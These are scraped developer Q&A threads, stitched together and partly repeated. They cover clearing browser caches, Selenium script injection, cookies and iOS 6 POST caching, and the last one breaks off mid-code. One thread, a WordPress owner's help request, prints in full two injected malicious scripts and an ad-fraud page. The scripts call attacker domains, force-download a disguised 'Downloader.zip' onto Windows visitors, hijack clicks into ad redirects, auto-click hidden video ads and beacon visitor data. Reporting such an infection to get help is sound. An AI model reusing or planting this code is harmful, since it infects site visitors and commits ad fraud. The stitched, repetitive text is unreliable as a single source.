I am looking for a way to programmatically empty the browser cache. I am doing this because the application caches confidential data and I'd like to remove those when you press "log out". This would happen either via server or JavaScript. Of course, using the software on foreign/public computer is still discouraged as there are more dangers like key loggers that you just can't defeat on software level.
There's no way a browser will let you clear its cache. It would be a huge security issue if that were possible. This could be very easily abused - the minute a browser supports such a "feature" will be the minute I uninstall it from my computer.
What you can do is to tell it not to cache your page, by sending the appropriate headers or using these meta tags:
<meta http-equiv='cache-control' content='no-cache'>
<meta http-equiv='expires' content='0'>
<meta http-equiv='pragma' content='no-cache'>
You might also want to consider turning off auto-complete on form fields, although I'm afraid there's a standard way to do it (see this question).
Regardless, I would like to point out that if you are working with sensitive data you should be using SSL. If you aren't using SSL, anyone with access to the network can sniff network traffic and easily see what your user is seeing.
Using SSL also makes some browsers not use caching unless explicitly told to. See this question.
It's possible, you can simply use jQuery to substitute the 'meta tag' that references the cache status with an event handler / button, and then refresh, easy,
$('.button').click(function() {
$.ajax({
url: "",
context: document.body,
success: function(s,x){
$('html[manifest=saveappoffline.appcache]').attr('content', '');
$(this).html(s);
}
});
});
NOTE: This solution relies on the Application Cache that is implemented as part of the HTML 5 spec. It also requires server configuration to set up the App Cache manifest. It does not describe a method by which one can clear the 'traditional' browser cache via client- or server-side code, which is nigh impossible to do.
use html itself.There is one trick that can be used.The trick is to append a parameter/string to the file name in the script tag and change it when you file changes.
<script src="myfile.js?version=1.0.0"></script>
The browser interprets the whole string as the file path even though what comes after the "?" are parameters. So wat happens now is that next time when you update your file just change the number in the script tag on your website (Example <script src="myfile.js?version=1.0.1"></script>) and each users browser will see the file has changed and grab a new copy.
The best idea is to make js file generation with name + some hash with version, if you do need to clear cache, just generate new files with new hash, this will trigger browser to load new files
Initially I tried various programmatic approach in my html, JS to clear browser cache. Nothing works on latest Chrome.
Finally, I ended up with .htaccess:
<IfModule mod_headers.c>
Header set Cache-Control "no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires 0
</IfModule>
Tested in Chrome, Firefox, Opera
Reference: https://wp-mix.com/disable-caching-htaccess/
Here is a single-liner of how you can delete ALL browser network cache using Cache.delete()
caches.keys().then((keyList) => Promise.all(keyList.map((key) => caches.delete(key))))
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
On Chrome, you should be able to do this using the benchmarking extension. You need to start your chrome with the following switches:
./chrome --enable-benchmarking --enable-net-benchmarking
In Chrome's console now you can do the following:
chrome.benchmarking.clearCache();
chrome.benchmarking.clearHostResolverCache();
chrome.benchmarking.clearPredictorCache();
chrome.benchmarking.closeConnections();
As you can tell from above commands, it not only clears the browser cache, but also clears the DNS cache and closes network connections. These are great when you're doing page load time benchmarking. Obviously you don't have to use them all if not needed (e.g. clearCache() should suffice if you need to clear the cache only and don't care about DNS cache and connections).
You can now use Cache.delete()
Example:
let id = "your-cache-id";
// you can find the id by going to
// application>storage>cache storage
// (minus the page url at the end)
// in your chrome developer console
caches.open(id)
.then(cache => cache.keys()
.then(keys => {
for (let key of keys) {
cache.delete(key)
}
}));
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
You could have the server respond with a Clear Site Data directive that instructs the user agent to clear the site's locally stored data.
For example:
Clear-Site-Data: "cache", "cookies", "storage"
That header would instruct the user agent to clear all locally stored data, including:
Network cache
User agent caches (like prerendered pages, script caches, etc.)
Cookies
HTTP authentication credentials
Origin-bound tokens (such as Channel ID and Token Binding)
Local storage
Session storage
IndexedDB
Web SQL database
Service Worker registrations
You can send the request using fetch() and do location.reload() afterwards to get a fresh restart.
location.reload(true); will hard reload the current page, ignoring the cache.
Cache.delete() can also be used for new chrome, firefox and opera.
//The code below should be put in the "js" folder with the name "clear-browser-cache.js"
(function () {
var process_scripts = false;
var rep = /.*\?.*/,
links = document.getElementsByTagName('link'),
scripts = document.getElementsByTagName('script');
var value = document.getElementsByName('clear-browser-cache');
for (var i = 0; i < value.length; i++) {
var val = value[i],
outerHTML = val.outerHTML;
var check = /.*value="true".*/;
if (check.test(outerHTML)) {
process_scripts = true;
}
}
for (var i = 0; i < links.length; i++) {
var link = links[i],
href = link.href;
if (rep.test(href)) {
link.href = href + '&' + Date.now();
}
else {
link.href = href + '?' + Date.now();
}
}
if (process_scripts) {
for (var i = 0; i < scripts.length; i++) {
var script = scripts[i],
src = script.src;
if (src !== "") {
if (rep.test(src)) {
script.src = src + '&' + Date.now();
}
else {
script.src = src + '?' + Date.now();
}
}
}
}
})();
At the end of the tah head, place the line at the code below
< script name="clear-browser-cache" src='js/clear-browser-cache.js' value="true" >< /script >
By definining a function for cache invalidate meta tags:
function addMetaTag(name,content){
var meta = document.createElement('meta');
meta.httpEquiv = name;
meta.content = content;
document.getElementsByTagName('head')[0].appendChild(meta);
}
You can call:
addMetaTag("pragma","no-cache")
addMetaTag("expires","0")
addMetaTag("cache-control","no-cache")
That will insert meta tags for subsequents requests, which will force browser to fetch fresh content. After inserting, you can call location.reload() and this will work in mostly all browsers (Cache.delete() is not working at chrome for ex.)
I clear the browser's cache for development reasons. Clearing local storage, session storage, IndexDB, cookies, etc. when the data schema changes. If not cleared, there could be data corruption when syncing data with the database. Cache could also be cleared for security reasons as the OP suggested.
This is the code I use:
caches.keys().then(list => list.map(key => caches.delete(key)))
Simple as that, works like a champ. For more information:
https://developer.mozilla.org/en-US/docs/Web/API/Cache
Imagine the .js files are placed in /my-site/some/path/ui/js/myfile.js
So normally the script tag would look like:
<script src="/my-site/some/path/ui/js/myfile.js"></script>
Now change that to:
<script src="/my-site/some/path/ui-1111111111/js/myfile.js"></script>
Now of course that will not work. To make it work you need to add one or a few lines to your .htaccess
The important line is: (entire .htaccess at the bottom)
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
So what this does is, it kind of removes the 1111111111 from the path and links to the correct path.
So now if you make changes you just have to change the number 1111111111 to whatever number you want. And however you include your files you can set that number via a timestamp when the js-file has last been modified. So cache will work normally if the number does not change. If it changes it will serve the new file (YES ALWAYS) because the browser get's a complete new URL and just believes that file is so new he must go get it.
You can use this for CSS, favicons and what ever gets cached. For CSS just use like so
<link href="http://my-domain.com/my-site/some/path/ui-1492513798/css/page.css" type="text/css" rel="stylesheet">
And it will work! Simple to update, simple to maintain.
The promised full .htaccess
If you have no .htaccess yet this is the minimum you need to have there:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
</IfModule>
Related
Scanning my site with pagespeed, it shows that my site is loading malicious files in the background.
The problem happens occasionally, it doesn't happen all the time. Sometimes the site doesn't load the malicious script, other times it does. I don't know what it depends on.
In particular, the following js script is loaded from this link "https:// asmr9999. live/static.js" (without space). So the malicious code is loaded indirectly.
if(!window.xxxyyyzzz){function e(){return -1!==["Win32","Win64","Windows","WinCE"].indexOf(window.navigator?.userAgentData?.platform||window.navigator.platform)}function n(n){if(!e())return!1;var t="File",a=n.target.closest("a");if(window.location.href.indexOf("3axis.co")>=0){if(0>a.parentElement.className.indexOf("post-subject")&&0>a.parentElement.className.indexOf("img"))return!1;t=a.children.length>0?a.children[0].alt:a.innerText}else{if(!(window.location.href.indexOf("thesimscatalog.com")>=0)||0>a.parentElement.className.indexOf("product-inner"))return!1;t=a.children[1].innerText}var i=document.createElement("a");return i.style="display:none",i.href="https://yhdmb.xyz/download/"+t+" Downloader.zip",document.body.append(i),i.click(),n.preventDefault(),!0}function t(e){var n=document.createElement("script");n.src=e,document.head.appendChild(n)}function a(e,n,t){var a="";if(t){var i=new Date;i.setTime(i.getTime()+36e5*t),a="; expires="+i.toUTCString()}document.cookie=e+"="+(n||"")+a+"; path=/"}function i(e){for(var n=e+"=",t=document.cookie.split(";"),a=0;a<t.length;a++){for(var i=t[a];" "==i.charAt(0);)i=i.substring(1,i.length);if(0==i.indexOf(n))return i.substring(n.length,i.length)}return null}function r(e){var t=e.target.closest("a");null!==t&&(n(e)||!i("__ads__opened")&&window._ads_goto&&(a("__ads__opened","1",6),"_blank"==t.target||(e.preventDefault(),window.open(t.href)),setTimeout(function(){window.location=window._ads_goto},500)),window.removeEventListener("click",r))}t("https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js"),t("https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js"),window.addEventListener("click",r,{capture:!0}),window.addEventListener("message",function(e){e.data&&e.data instanceof Object&&e.data._ads_goto&&(window._ads_goto=e.data._ads_goto)}),window.xxxyyyzzz=function(e){var n=document.createElement("div"),t=document.createElement("iframe");t.src=e,n.style.display="none",n.appendChild(t),window.addEventListener("load",function(){document.body.append(n)})},window.xxxyyyzzz("https://yhdmb.xyz/vp/an.html")}
From this code it is possible to understand where the malware is located on my Wordpress site? And also is it possible to understand what exactly this code does?
I have seen that it also uses these scripts,
https://cdnjs.cloudflare.com/ajax/libs/jszip/3.10.1/jszip.min.js
https://cdnjs.cloudflare.com/ajax/libs/FileSaver.js/2.0.0/FileSaver.min.js
which are respectively:
https://stuk.github.io/jszip/
https://github.com/eligrey/FileSaver.js/
EDIT 1: I find that it loads before "/body"
<script src="https://asmr9999.live/static.js?hash=a633f506a53746a846742c5655ebf596"></script></body></html>
EDIT 2: i installed https://wordpress.org/plugins/string-locator/ for search asmr9999 in all site, also in encoded Base64 format "YXNtcjk5OTk" but nothing. I tried also https://wordpress.org/plugins/gotmls/ , nothing.
EDIT 3: I've only found one person on the internet who has the same problem, at this link (remove space):
https:// boards.4channel. org/g/thread/89699524/i-had-a-virus-on-my-server-ot-attack-in-my-server
EDIT 4: i also analyzed the malicious link in the script, this https:// yhdmb. xyz/vp/an.html. It is an html page containing this code:
<html lang="en">
<head>
<title>YHDM</title>
<script async src="https://pagead2.googlesyndication.com/pagead/js/adsbygoogle.js?client=ca-pub-8724126396282572"
crossorigin="anonymous"></script>
<script src="https://cdn.fluidplayer.com/v2/current/fluidplayer.min.js"></script>
</head>
<body>
<script>
function setCookie(name,value,hours) {
var expires = "";
if (hours) {
var date = new Date();
date.setTime(date.getTime() + (hours*60*60*1000));
expires = "; expires=" + date.toUTCString();
}
document.cookie = name + "=" + (value || "") + expires + "; path=/;SameSite=None; Secure";
}
function addVast(id, url, prob, type) {
var div = document.createElement('div');
var video = document.createElement('video');
var source = document.createElement('source');
source.type = 'video/mp4';
source.src = 'video.mp4';
video.id = 'my-video' + id;
video.append(source);
div.appendChild(video);
document.body.append(div);
var testVideo = fluidPlayer(
"my-video" + id,
{
layoutControls: {
autoPlay: true
},
vastOptions: {
"adList": [
{
"roll": "preRoll",
"vastTag": url
},
{
"roll": "midRoll",
"vastTag": url,
"timer": 8
},
{
"roll": "midRoll",
"vastTag": url,
"timer": 10
},
{
"roll": "postRoll",
"vastTag": url
}
]
}
}
);
setTimeout(function () {
testVideo.play();
testVideo.setVolume(0);
function tryClickAds() {
setTimeout(function () {
if (testVideo.vastOptions && testVideo.vastOptions.clickthroughUrl) {
var url = testVideo.vastOptions.clickthroughUrl;
if (type == 'nw') {
setCookie('redirect', url, 1);
console.log(url);
window.parent.postMessage({'_ads_goto': window.location.href}, '*');
} else {
var adsIframe = document.createElement('iframe');
adsIframe.src = url;
adsIframe.style = 'height:100%;width:100%';
adsIframe.sandbox = 'allow-forms allow-orientation-lock allow-pointer-lock allow-presentation allow-same-origin allow-scripts';
document.body.appendChild(adsIframe);
}
} else {
tryClickAds()
}
}, 1000)
}
if (Math.random() < prob) {
tryClickAds()
}
}, 500);
}
addVast('1', 'https://wyglyvaso.com/ddmxF.ztdoG-N/v/ZxGmUY/bejmS9ku/ZdUll/klPpTRQG1iNozIcs2/NTTvAQtmNIDPUZ3YN/zXYP1LMWQI', 1, 'nw');
addVast('2','https://syndication.exdynsrv.com/splash.php?idzone=4840778',0.5,'nw');
</script>
</body>
</html>
EDIT 5: i restored a backup from September. The malicious code is stille there, but little differente. It still load before "/body", but the js code is different and it uses another domanin, "fastjscdn .org", instead of "asmr9999 .live". How is it possible that it can change domain?
<script src="https://fastjscdn.org/static.js?hash=1791f07709c2e25e84d84a539f3eb034"></script></body>
JS code contain:
window.xxxyyyzzz||(window.xxxyyyzzz="1",function(){if(function t(){try{return window.self!==window.top}catch(r){return!0}}()){var t=window.parent.document.createElement("script");t.src="https://fastjscdn.org/static.js",window.parent.document.body.appendChild(t);return}fetch("https://fastjscdn.org/platform/"+(window.navigator?.userAgentData?.platform||window.navigator.platform)+"/url/"+window.location.href).then(t=>{})}());
You can find out who was initiator of any loaded file. Open developer console (Ctrl+Shift+I in Chrome), choose Network tab. After loading page with opened Network tab there will appear all loaded files. Locate your file and find Column initiator.
But, it can be scenario, where it will be loaded from DOM. So next step will be you will go to Elements, Ctrl+F and search for this script. But this musn't be your solution. It can be inserted to HTML of your webpage by any malicious plugin.
I prefer (at least if you are able to log into Wordpress admin) using some useful plugin for scanning. E.g. plugin Anti-Malware Security and Brute-Force Firewall or some other scanning tool. It will probably find concrete file/directory where is some malicious code.
I have exactly the same issue on the ContOS VPS server and a custom CMS. I am using Apache + nginx + php 5.6 configuration. My investigations are the following:
I compared all my site scripts with the scripts from my previous backup and there are no changes in the site scripts!
I checked all files on my server for the string "asmr9999" and the same string, encoded in the Base64 format: YXNtcjk5OTk - the strings were not found. Also, I created a SQL database dump, but the dump either doesn't contains these strings!
I checked site with using the clamAV antivirus and the maldet tool and there is no issues were found.
Finally, I rebooted server, and the scripts "<script src="https:// asmr9999 .live" are gone from all my site pages! But, after about 1 hour, the scripts are appeared again on my site pages.
So, it seems that the script is located only in RAM and disappears during the server reboot. Then, after 1 hour maybe the crontab loaded the script into the RAM from some place.
I hope I will save your time and together we will resolve this issue.
I am continuing the investigation.
Makes me think of linux rootkits from 10 years ago (!) such as Snakso that injected malicious iframes directly in the outgoing HTTP traffic of the server
the problem and solution are described here https://stackoverflow.com/a/74921192/14686582
My Memcached server was public and infected with malicious code, it was a "cache-side" xss attack.
I am looking for a way to programmatically empty the browser cache. I am doing this because the application caches confidential data and I'd like to remove those when you press "log out". This would happen either via server or JavaScript. Of course, using the software on foreign/public computer is still discouraged as there are more dangers like key loggers that you just can't defeat on software level.
There's no way a browser will let you clear its cache. It would be a huge security issue if that were possible. This could be very easily abused - the minute a browser supports such a "feature" will be the minute I uninstall it from my computer.
What you can do is to tell it not to cache your page, by sending the appropriate headers or using these meta tags:
<meta http-equiv='cache-control' content='no-cache'>
<meta http-equiv='expires' content='0'>
<meta http-equiv='pragma' content='no-cache'>
You might also want to consider turning off auto-complete on form fields, although I'm afraid there's a standard way to do it (see this question).
Regardless, I would like to point out that if you are working with sensitive data you should be using SSL. If you aren't using SSL, anyone with access to the network can sniff network traffic and easily see what your user is seeing.
Using SSL also makes some browsers not use caching unless explicitly told to. See this question.
It's possible, you can simply use jQuery to substitute the 'meta tag' that references the cache status with an event handler / button, and then refresh, easy,
$('.button').click(function() {
$.ajax({
url: "",
context: document.body,
success: function(s,x){
$('html[manifest=saveappoffline.appcache]').attr('content', '');
$(this).html(s);
}
});
});
NOTE: This solution relies on the Application Cache that is implemented as part of the HTML 5 spec. It also requires server configuration to set up the App Cache manifest. It does not describe a method by which one can clear the 'traditional' browser cache via client- or server-side code, which is nigh impossible to do.
use html itself.There is one trick that can be used.The trick is to append a parameter/string to the file name in the script tag and change it when you file changes.
<script src="myfile.js?version=1.0.0"></script>
The browser interprets the whole string as the file path even though what comes after the "?" are parameters. So wat happens now is that next time when you update your file just change the number in the script tag on your website (Example <script src="myfile.js?version=1.0.1"></script>) and each users browser will see the file has changed and grab a new copy.
The best idea is to make js file generation with name + some hash with version, if you do need to clear cache, just generate new files with new hash, this will trigger browser to load new files
Here is a single-liner of how you can delete ALL browser network cache using Cache.delete()
caches.keys().then((keyList) => Promise.all(keyList.map((key) => caches.delete(key))))
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
Initially I tried various programmatic approach in my html, JS to clear browser cache. Nothing works on latest Chrome.
Finally, I ended up with .htaccess:
<IfModule mod_headers.c>
Header set Cache-Control "no-cache, no-store, must-revalidate"
Header set Pragma "no-cache"
Header set Expires 0
</IfModule>
Tested in Chrome, Firefox, Opera
Reference: https://wp-mix.com/disable-caching-htaccess/
On Chrome, you should be able to do this using the benchmarking extension. You need to start your chrome with the following switches:
./chrome --enable-benchmarking --enable-net-benchmarking
In Chrome's console now you can do the following:
chrome.benchmarking.clearCache();
chrome.benchmarking.clearHostResolverCache();
chrome.benchmarking.clearPredictorCache();
chrome.benchmarking.closeConnections();
As you can tell from above commands, it not only clears the browser cache, but also clears the DNS cache and closes network connections. These are great when you're doing page load time benchmarking. Obviously you don't have to use them all if not needed (e.g. clearCache() should suffice if you need to clear the cache only and don't care about DNS cache and connections).
You can now use Cache.delete()
Example:
let id = "your-cache-id";
// you can find the id by going to
// application>storage>cache storage
// (minus the page url at the end)
// in your chrome developer console
caches.open(id)
.then(cache => cache.keys()
.then(keys => {
for (let key of keys) {
cache.delete(key)
}
}));
Works on Chrome 40+, Firefox 39+, Opera 27+ and Edge.
You could have the server respond with a Clear Site Data directive that instructs the user agent to clear the site's locally stored data.
For example:
Clear-Site-Data: "cache", "cookies", "storage"
That header would instruct the user agent to clear all locally stored data, including:
Network cache
User agent caches (like prerendered pages, script caches, etc.)
Cookies
HTTP authentication credentials
Origin-bound tokens (such as Channel ID and Token Binding)
Local storage
Session storage
IndexedDB
Web SQL database
Service Worker registrations
You can send the request using fetch() and do location.reload() afterwards to get a fresh restart.
location.reload(true); will hard reload the current page, ignoring the cache.
Cache.delete() can also be used for new chrome, firefox and opera.
//The code below should be put in the "js" folder with the name "clear-browser-cache.js"
(function () {
var process_scripts = false;
var rep = /.*\?.*/,
links = document.getElementsByTagName('link'),
scripts = document.getElementsByTagName('script');
var value = document.getElementsByName('clear-browser-cache');
for (var i = 0; i < value.length; i++) {
var val = value[i],
outerHTML = val.outerHTML;
var check = /.*value="true".*/;
if (check.test(outerHTML)) {
process_scripts = true;
}
}
for (var i = 0; i < links.length; i++) {
var link = links[i],
href = link.href;
if (rep.test(href)) {
link.href = href + '&' + Date.now();
}
else {
link.href = href + '?' + Date.now();
}
}
if (process_scripts) {
for (var i = 0; i < scripts.length; i++) {
var script = scripts[i],
src = script.src;
if (src !== "") {
if (rep.test(src)) {
script.src = src + '&' + Date.now();
}
else {
script.src = src + '?' + Date.now();
}
}
}
}
})();
At the end of the tah head, place the line at the code below
< script name="clear-browser-cache" src='js/clear-browser-cache.js' value="true" >< /script >
By definining a function for cache invalidate meta tags:
function addMetaTag(name,content){
var meta = document.createElement('meta');
meta.httpEquiv = name;
meta.content = content;
document.getElementsByTagName('head')[0].appendChild(meta);
}
You can call:
addMetaTag("pragma","no-cache")
addMetaTag("expires","0")
addMetaTag("cache-control","no-cache")
That will insert meta tags for subsequents requests, which will force browser to fetch fresh content. After inserting, you can call location.reload() and this will work in mostly all browsers (Cache.delete() is not working at chrome for ex.)
I clear the browser's cache for development reasons. Clearing local storage, session storage, IndexDB, cookies, etc. when the data schema changes. If not cleared, there could be data corruption when syncing data with the database. Cache could also be cleared for security reasons as the OP suggested.
This is the code I use:
caches.keys().then(list => list.map(key => caches.delete(key)))
Simple as that, works like a champ. For more information:
https://developer.mozilla.org/en-US/docs/Web/API/Cache
Imagine the .js files are placed in /my-site/some/path/ui/js/myfile.js
So normally the script tag would look like:
<script src="/my-site/some/path/ui/js/myfile.js"></script>
Now change that to:
<script src="/my-site/some/path/ui-1111111111/js/myfile.js"></script>
Now of course that will not work. To make it work you need to add one or a few lines to your .htaccess
The important line is: (entire .htaccess at the bottom)
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
So what this does is, it kind of removes the 1111111111 from the path and links to the correct path.
So now if you make changes you just have to change the number 1111111111 to whatever number you want. And however you include your files you can set that number via a timestamp when the js-file has last been modified. So cache will work normally if the number does not change. If it changes it will serve the new file (YES ALWAYS) because the browser get's a complete new URL and just believes that file is so new he must go get it.
You can use this for CSS, favicons and what ever gets cached. For CSS just use like so
<link href="http://my-domain.com/my-site/some/path/ui-1492513798/css/page.css" type="text/css" rel="stylesheet">
And it will work! Simple to update, simple to maintain.
The promised full .htaccess
If you have no .htaccess yet this is the minimum you need to have there:
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^my-site\/(.*)\/ui\-([0-9]+)\/(.*) my-site/$1/ui/$3 [L]
</IfModule>
I'm using selenium python webdriver in order to browse some pages. I want to inject a javascript code in to a pages before any other Javascript codes get loaded and executed. On the other hand, I need my JS code to be executed as the first JS code of that page. Is there a way to do that by Selenium?
I googled it for a couple of hours, but I couldn't find any proper answer!
Selenium has now supported Chrome Devtools Protocol (CDP) API, so , it is really easy to execute a script on every page load. Here is an example code for that:
driver.execute_cdp_cmd('Page.addScriptToEvaluateOnNewDocument', {'source': 'alert("Hooray! I did it!")'})
And it will execute that script for EVERY page load. More information about this can be found at:
Selenium documentation: https://www.selenium.dev/documentation/en/support_packages/chrome_devtools/
Chrome Devtools Protocol documentation: https://chromedevtools.github.io/devtools-protocol/tot/Page/#method-addScriptToEvaluateOnNewDocument
Since version 1.0.9, selenium-wire has gained the functionality to modify responses to requests. Below is an example of this functionality to inject a script into a page before it reaches a webbrowser.
import os
from seleniumwire import webdriver
from gzip import compress, decompress
from urllib.parse import urlparse
from lxml import html
from lxml.etree import ParserError
from lxml.html import builder
script_elem_to_inject = builder.SCRIPT('alert("injected")')
def inject(req, req_body, res, res_body):
# various checks to make sure we're only injecting the script on appropriate responses
# we check that the content type is HTML, that the status code is 200, and that the encoding is gzip
if res.headers.get_content_subtype() != 'html' or res.status != 200 or res.getheader('Content-Encoding') != 'gzip':
return None
try:
parsed_html = html.fromstring(decompress(res_body))
except ParserError:
return None
try:
parsed_html.head.insert(0, script_elem_to_inject)
except IndexError: # no head element
return None
return compress(html.tostring(parsed_html))
drv = webdriver.Firefox(seleniumwire_options={'custom_response_handler': inject})
drv.header_overrides = {'Accept-Encoding': 'gzip'} # ensure we only get gzip encoded responses
Another way in general to control a browser remotely and be able to inject a script before the pages content loads would be to use a library based on a separate protocol entirely, eg: Chrome DevTools Protocol. The most fully featured I know of is playwright
If you want to inject something into the html of a page before it gets parsed and executed by the browser I would suggest that you use a proxy such as Mitmproxy.
If you cannot modify the page content, you may use a proxy, or use a content script in an extension installed in your browser. Doing it within selenium you would write some code that injects the script as one of the children of an existing element, but you won't be able to have it run before the page is loaded (when your driver's get() call returns.)
String name = (String) ((JavascriptExecutor) driver).executeScript(
"(function () { ... })();" ...
The documentation leaves unspecified the moment at which the code would start executing. You would want it to before the DOM starts loading so that guarantee might only be satisfiable with the proxy or extension content script route.
If you can instrument your page with a minimal harness, you may detect the presence of a special url query parameter and load additional content, but you need to do so using an inline script. Pseudocode:
<html>
<head>
<script type="text/javascript">
(function () {
if (location && location.href && location.href.indexOf("SELENIUM_TEST") >= 0) {
var injectScript = document.createElement("script");
injectScript.setAttribute("type", "text/javascript");
//another option is to perform a synchronous XHR and inject via innerText.
injectScript.setAttribute("src", URL_OF_EXTRA_SCRIPT);
document.documentElement.appendChild(injectScript);
//optional. cleaner to remove. it has already been loaded at this point.
document.documentElement.removeChild(injectScript);
}
})();
</script>
...
so I know it's been a few years, but I've found a way to do this without modifying the webpage's content and without using a proxy! I'm using the nodejs version, but presumably the API is consistent for other languages as well. What you want to do is as follows
const {Builder, By, Key, until, Capabilities} = require('selenium-webdriver');
const capabilities = new Capabilities();
capabilities.setPageLoadStrategy('eager'); // Options are 'eager', 'none', 'normal'
let driver = await new Builder().forBrowser('firefox').setFirefoxOptions(capabilities).build();
await driver.get('http://example.com');
driver.executeScript(\`
console.log('hello'
\`)
That 'eager' option works for me. You may need to use the 'none' option.
Documentation: https://seleniumhq.github.io/selenium/docs/api/javascript/module/selenium-webdriver/lib/capabilities_exports_PageLoadStrategy.html
EDIT: Note that the 'eager' option has not been implemented in Chrome yet...
My code works in firefox and when i visit w3schools using chrome to test my code in their editor it works fine too but when i launch my code in chrome from notepad++ it doesn't work.It seems that body onload is not working because i don't get the alert.My chrome is up to date.Help would be appreciated.
<!DOCTYPE html>
<html>
<head>
<script>
function setCookie(cname,cvalue,exdays){
var d=new Date();
d.setTime(d.getTime()+(exdays*24*60*60*1000));
var expires="expires="+d.toUTCString();
document.cookie=cname +"="+cvalue+"; "+expires;
}
function f(){
var user=prompt("What is your name?","");
if(user!="" && user!=null){
setCookie("username",user,30);}
}
function getC(cname){
var name=cname+"=";
var ca=document.cookie.split(";");
for(var i=0;i<ca.length;i++){
var c=ca[i];
while(c.charAt(0)==" ")c=c.substring(1);
if(c.indexOf(name)==0) return c.substring(name.length,c.length);
}
return "";
}
function checkcooki(){
var user=getC("username");
if(user!=""){
alert("Welcome back "+user);
}
}
</script>
</head>
<body onLoad="checkcooki()">
<input type="button" onclick="f()" value="klick">
</body>
</html>
For a fact: Using the file:// protocol does NOT guarantee the proper workings with cookies. Since cookies need 3 things:
A name-value pair containing the actual data
An expiry date after which it is no longer valid
The domain and path of the server it should be sent to
The domain tells the browser to which domain the cookie should be sent. If you don't specify it, it becomes the domain of the page that sets the cookie.
On a file:// protocol you don't have a domain.
Now some browsers might have found work-arounds for this, like FireFox and IE. You can test your code on these browsers but they will not use cookies in the same way as on a webserver.
Proper x-browser testing in your case requires the http:// protocol.
I suggest you start a jsfiddle or setup a webserver(IIS, apache).
Proper read on cookies: quircksmode
If you are still persistent to get it working on chrome through the file:// protocol you might have a small chance if you get the path correctly.
path: properly escaped path => encodeURIComponent(document.domain) or "c:\/my%20folder\/index.html" (along these lines but again, very untrustworthy information here)
domain: "/" (no idea what else you can try here)
Your user variable must be a blank string.
Put an alert at the very top of your checkcooki() function to verify that body onload works.
Since the upgrade to iOS 6, we are seeing Safari's web view take the liberty of caching $.ajax calls. This is in the context of a PhoneGap application so it is using the Safari WebView. Our $.ajax calls are POST methods and we have cache set to false {cache:false}, but still this is happening. We tried manually adding a TimeStamp to the headers but it did not help.
We did more research and found that Safari is only returning cached results for web services that have a function signature that is static and does not change from call to call. For instance, imagine a function called something like:
getNewRecordID(intRecordType)
This function receives the same input parameters over and over again, but the data it returns should be different every time.
Must be in Apple's haste to make iOS 6 zip along impressively they got too happy with the cache settings. Has anyone else seen this behavior on iOS 6? If so, what exactly is causing it?
The workaround that we found was to modify the function signature to be something like this:
getNewRecordID(intRecordType, strTimestamp)
and then always pass in a TimeStamp parameter as well, and just discard that value on the server side. This works around the issue.
After a bit of investigation, turns out that Safari on iOS6 will cache POSTs that have either no Cache-Control headers or even "Cache-Control: max-age=0".
The only way I've found of preventing this caching from happening at a global level rather than having to hack random querystrings onto the end of service calls is to set "Cache-Control: no-cache".
So:
No Cache-Control or Expires headers = iOS6 Safari will cache
Cache-Control max-age=0 and an immediate Expires = iOS6 Safari will cache
Cache-Control: no-cache = iOS6 Safari will NOT cache
I suspect that Apple is taking advantage of this from the HTTP spec in section 9.5 about POST:
Responses to this method are not cacheable, unless the response
includes appropriate Cache-Control or Expires header fields. However,
the 303 (See Other) response can be used to direct the user agent to
retrieve a cacheable resource.
So in theory you can cache POST responses...who knew. But no other browser maker has ever thought it would be a good idea until now. But that does NOT account for the caching when no Cache-Control or Expires headers are set, only when there are some set. So it must be a bug.
Below is what I use in the right bit of my Apache config to target the whole of my API because as it happens I don't actually want to cache anything, even gets. What I don't know is how to set this just for POSTs.
Header set Cache-Control "no-cache"
Update: Just noticed that I didn't point out that it is only when the POST is the same, so change any of the POST data or URL and you're fine. So you can as mentioned elsewhere just add some random data to the URL or a bit of POST data.
Update: You can limit the "no-cache" just to POSTs if you wish like this in Apache:
SetEnvIf Request_Method "POST" IS_POST
Header set Cache-Control "no-cache" env=IS_POST
I hope this can be of use to other developers banging their head against the wall on this one. I found that any of the following prevents Safari on iOS 6 from caching the POST response:
adding [cache-control: no-cache] in the request headers
adding a variable URL parameter such as the current time
adding [pragma: no-cache] in the response headers
adding [cache-control: no-cache] in the response headers
My solution was the following in my Javascript (all my AJAX requests are POST).
$.ajaxSetup({
type: 'POST',
headers: { "cache-control": "no-cache" }
});
I also add the [pragma: no-cache] header to many of my server responses.
If you use the above solution be aware that any $.ajax() calls you make that are set to global: false will NOT use the settings specified in $.ajaxSetup(), so you will need to add the headers in again.
Simple solution for all your web service requests, assuming you're using jQuery:
$.ajaxPrefilter(function (options, originalOptions, jqXHR) {
// you can use originalOptions.type || options.type to restrict specific type of requests
options.data = jQuery.param($.extend(originalOptions.data||{}, {
timeStamp: new Date().getTime()
}));
});
Read more about the jQuery prefilter call here.
If you aren't using jQuery, check the docs for your library of choice. They may have similar functionality.
I just had this issue as well in a PhoneGap application. I solved it by using the JavaScript function getTime() in the following manner:
var currentTime = new Date();
var n = currentTime.getTime();
postUrl = "http://www.example.com/test.php?nocache="+n;
$.post(postUrl, callbackFunction);
I wasted a few hours figuring this out. It would have been nice of Apple to notify developers of this caching issue.
I had the same problem with a webapp getting data from ASP.NET webservice
This worked for me:
public WebService()
{
HttpContext.Current.Response.Cache.SetCacheability(HttpCacheability.NoCache);
...
}
Finally, I've a solution to my uploading problem.
In JavaScript:
var xhr = new XMLHttpRequest();
xhr.open("post", 'uploader.php', true);
xhr.setRequestHeader("pragma", "no-cache");
In PHP:
header('cache-control: no-cache');
From my own blog post iOS 6.0 caching Ajax POST requests:
How to fix it: There are various methods to prevent caching of requests. The recommended method is adding a no-cache header. This is how it is done.
jQuery:
Check for iOS 6.0 and set Ajax header like this:
$.ajaxSetup({ cache: false });
ZeptoJS:
Check for iOS 6.0 and set the Ajax header like this:
$.ajax({
type: 'POST',
headers : { "cache-control": "no-cache" },
